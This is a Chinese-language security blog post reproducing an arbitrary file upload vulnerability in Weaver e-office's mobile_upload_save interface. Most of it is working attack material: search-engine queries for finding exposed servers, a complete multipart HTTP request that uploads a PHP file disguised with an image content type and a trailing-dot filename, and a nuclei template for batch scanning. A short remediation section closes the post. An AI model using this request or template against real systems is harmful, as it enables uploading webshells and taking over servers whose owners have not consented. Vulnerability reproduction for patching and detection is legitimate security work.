【漏洞复现 | 含批量POC】泛微e-office-mobile_upload_save 任意文件上传漏洞

小明同学 小明信安 2024-06-16 09:00

0x01 免责声明

disclaimer

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0x02 漏洞介绍

Vulnerability introduction

泛微e-officemobile_upload_save接口存在任意文件上传漏洞接口存在任意文件上传漏洞，攻击者可通过该漏洞上传任意文件到服务器上，包括木马后门文件，导致服务器权限被控制。

0x03 搜索语法

Search for syntax

• Fofa：

body="/newplugins/js/pnotify/jquery.pnotify.default.css"

• Hunter

body="/newplugins/js/pnotify/jquery.pnotify.default.css"

• Quake

body="/newplugins/js/pnotify/jquery.pnotify.default.css"

0x04 漏洞复现

Request packets

• 请求接口上传任意文件

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Length: 350

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="upload_quwan"; filename="1.php."
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

– 文件访问地址为回显中的/attachment/xxxxxx/1.php

0x05 nuclei POC

nuclei POC

• Nuclei 批量检测POC

• 所用方法nuclei.exe -l 网址文件.txt -t POC.yaml

id: Weaver_e-office_mobile_upload_save_fileupload

info:
  name: Weaver_e-office_mobile_upload_save_fileupload
  author: security-xm
  severity: high
  description: 泛微e-officemobile_upload_save接口存在任意文件上传漏洞接口存在任意文件上传漏洞
  metadata:
    max-request: 1
    shodan-query: ""
    verified: true

http:
- raw:
  - |
    @timeout: 30s
    POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
    Host: {{Hostname}}
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Connection: close
    Content-Length: 204

    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    Content-Disposition: form-data; name="upload_quwan"; filename="1.php."
    Content-Type: image/jpeg

    <?php phpinfo();?>
    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt

  max-redirects: 3
  matchers-condition: and
  matchers:
    - type: word
      part: body
      words:
        - attachment

0x07 修复建议

Remediation recommendations

• 在Web应用防火墙中添加接口临时黑名单规则

• 联系厂商打补丁或升级版本。